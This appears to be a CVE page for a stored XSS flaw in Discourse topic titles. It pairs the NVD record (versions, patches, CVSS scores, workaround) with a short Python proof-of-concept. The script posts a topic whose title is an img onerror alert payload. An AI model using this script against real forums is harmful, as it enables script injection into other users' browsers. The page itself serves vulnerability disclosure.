CVE-2026-33411

import requests # Target URL (example) target_url = "https://example.com/posts" # Attacker's session cookie (after login) session_cookies = { "_t": "attacker_session_token" } # Malicious payload to be injected into the topic title # This payload simply alerts 'XSS' to demonstrate the vulnerability xss_payload = "<img src=x onerror=alert('XSS')>" # Data for the new post creation post_data = { "title": xss_payload, "raw": "This is a test post content.", "category": "general" } # Send the POST request to create the topic with the malicious title response = requests.post(target_url, cookies=session_cookies, data=post_data) if response.status_code == 200: print("[+] Payload delivered successfully.") print("[+] Check the 'Solved Posts Stream' to verify the stored XSS trigger.") else: print("[-] Failed to deliver payload.")

{"cve": {"id": "CVE-2026-33411", "sourceIdentifier": "[email protected]", "published": "2026-03-20T23:16:47.660", "lastModified": "2026-03-24T21:11:01.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. Versions prior to 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 have a potential stored XSS in topic titles for the solved posts stream. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. As a workaround, ensure that the Content Security Policy is enabled, and has not been modified in a way which would make it more vulnerable to XSS attacks."}, {"lang": "es", "value": "Discourse es una plataforma de discusión de código abierto. Las versiones anteriores a 2026.3.0-latest.1, 2026.2.1 y 2026.1.2 tienen un XSS almacenado potencial en los títulos de los temas para el flujo de publicaciones resueltas. Las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2 contienen un parche. Como solución alternativa, asegúrese de que la Política de Seguridad de Contenido esté habilitada y no haya sido modificada de una manera que la haría más vulnerable a ataques XSS."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.2", "matchCriteriaId": "4BE96625-3609-410C-B41E-4A824C1A57C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.1", "matchCriteriaId": "FD31CF04-CF2F-4FB9-8880-9243BC7671A7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/security/advisories/GHSA-j3mm-ghh2-83x2", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}